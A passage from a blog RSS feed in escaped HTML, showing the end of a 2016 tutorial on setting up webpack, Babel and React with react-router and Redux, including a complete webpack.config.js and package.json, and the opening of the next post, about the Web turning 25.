&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;  &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="token class-name"&gt;Router&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getElementById&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;app&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And your &lt;code&gt;views/App/index.jsx&lt;/code&gt; should like this. It is just a simple wrapper around your views.
It has simple menu so we can test routing. &lt;code&gt;chilren&lt;/code&gt; prop is every child component that is passed to it.
In our case, children will be route that is matched in our &lt;code&gt;app.js&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Link&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react-router&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;export&lt;/span&gt; &lt;span class="token keyword"&gt;default&lt;/span&gt; &lt;span class="token keyword"&gt;class&lt;/span&gt; &lt;span class="token class-name"&gt;App&lt;/span&gt; &lt;span class="token keyword"&gt;extends&lt;/span&gt; &lt;span class="token class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; children &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;props&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class="token attr-name"&gt;className&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;App&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;        &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Link&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;to&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;/&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;Home&lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="token class-name"&gt;Link&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;        &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Link&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;to&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;/about&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;About&lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="token class-name"&gt;Link&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;        &lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; children &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;      &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="redux"&gt;Redux &lt;a class="anchor-link" href="#redux"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Note that this part will be updated soon with more details.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Install redux&lt;/p&gt;
&lt;p&gt;npm i redux react-redux --save&lt;/p&gt;
&lt;p&gt;To learn what redux is, the best place to start are lessons taught by the redux&amp;#x27;s creator himself, Dan Abramov.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://egghead.io/series/getting-started-with-redux"&gt;https://egghead.io/series/getting-started-with-redux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And to add it to your React app, for now follow official documentation (more info coming soon);&lt;/p&gt;
&lt;p&gt;&lt;a href="http://redux.js.org/docs/basics/UsageWithReact.html"&gt;http://redux.js.org/docs/basics/UsageWithReact.html&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="nice-to-have"&gt;Nice to have &lt;a class="anchor-link" href="#nice-to-have"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is everything you need, following the best practices for react and javascipt development in general.
Beside that there is couple of more things, that I usually add to my projects.
Check it yourself, and add it if you thing these are useful to you.&lt;/p&gt;
&lt;h5 id="absolute-path-resolving"&gt;Absolute path resolving &lt;a class="anchor-link" href="#absolute-path-resolving"&gt;#&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;To be able to include your files with absolute paths you need to set root path.
(Example: &lt;code&gt;components/views/App&lt;/code&gt; instead of &lt;code&gt;../../views/App&lt;/code&gt;.)
In your webpack config, under resolve add &lt;code&gt;root&lt;/code&gt; param. Note that you have add &lt;code&gt;path&lt;/code&gt; at the top of the file.&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;const path &lt;span class="token operator"&gt;=&lt;/span&gt; require&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;path&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;resolve: &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  extensions: &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;, &lt;span class="token string"&gt;&amp;#x27;.js&amp;#x27;&lt;/span&gt;, &lt;span class="token string"&gt;&amp;#x27;.jsx&amp;#x27;&lt;/span&gt;, &lt;span class="token string"&gt;&amp;#x27;.json&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;  root: path.resolve&lt;span class="token punctuation"&gt;(&lt;/span&gt;__dirname, &lt;span class="token string"&gt;&amp;#x27;./app/js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using this will probably still give you linting errors in the editor, so we need to add
Install eslint import resolver package&lt;/p&gt;
&lt;p&gt;npm install --save-dev eslint-import-resolver-webpack&lt;/p&gt;
&lt;p&gt;And add settings to your &lt;code&gt;.eslintrc&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;settings&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string-property property"&gt;&amp;quot;import/resolver&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;webpack&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="update"&gt;Update &lt;a class="anchor-link" href="#update"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As promised in comments, here you can find complete &lt;code&gt;webpack.config.js&lt;/code&gt; and &lt;code&gt;package.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To make it even easier, I created a git repository to go along with this blog post.
You can find it on &lt;a href="https://github.com/Stanko/react-tutorial"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="webpackconfigjs"&gt;webpack.config.js &lt;a class="anchor-link" href="#webpackconfigjs"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; path &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;require&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;path&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;module&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;exports&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  context&lt;span class="token operator"&gt;:&lt;/span&gt; __dirname &lt;span class="token operator"&gt;+&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;/app&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  entry&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    javascript&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;./js/app.js&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    html&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;./index.html&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  output&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    filename&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;app.js&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    path&lt;span class="token operator"&gt;:&lt;/span&gt; __dirname &lt;span class="token operator"&gt;+&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;/dist&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  resolve&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    extensions&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.jsx&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.json&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    root&lt;span class="token operator"&gt;:&lt;/span&gt; path&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;resolve&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;__dirname&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;./app/js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  module&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loaders&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        test&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;&lt;span class="token special-escape escape"&gt;\.&lt;/span&gt;jsx&lt;span class="token quantifier number"&gt;?&lt;/span&gt;&lt;span class="token anchor function"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        exclude&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;node_modules&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        loaders&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;react-hot&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;babel-loader&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        test&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;&lt;span class="token special-escape escape"&gt;\.&lt;/span&gt;html&lt;span class="token anchor function"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        loader&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;file?name=[name].[ext]&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="packagejson"&gt;package.json &lt;a class="anchor-link" href="#packagejson"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;This is minimal version of the file. Yours will probably have more stuff like &lt;code&gt;author&lt;/code&gt;, &lt;code&gt;license&lt;/code&gt;...&lt;/p&gt;
&lt;pre class="language-json"&gt;&lt;code class="language-json code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;&amp;quot;scripts&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;dev&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline --history-api-fallback&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;&amp;quot;devDependencies&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;babel-core&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^6.21.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;babel-loader&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^6.2.10&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;babel-preset-es2015&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^6.18.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;babel-preset-react&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^6.16.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;eslint&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^3.13.1&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;eslint-config-airbnb&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^14.0.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;eslint-plugin-import&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^2.2.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;eslint-plugin-jsx-a11y&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^3.0.2&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;eslint-plugin-react&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^6.9.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;file-loader&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^0.9.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;react-hot-loader&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^1.3.1&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;react-router&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^3.0.2&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;webpack&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^1.14.0&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;webpack-dev-server&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^1.16.2&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;&amp;quot;dependencies&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;react&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^15.4.2&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;&amp;quot;react-dom&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;^15.4.2&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 23 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch/</guid></item><item><title>The World Wide Web turns 25 years old today</title><link>https://jasoneckert.github.io/myblog/www-turns-25/</link><description>&lt;p&gt;&lt;img alt="WWW1" src="www1.png#center" title="WWW1" /&gt;&lt;/p&gt;
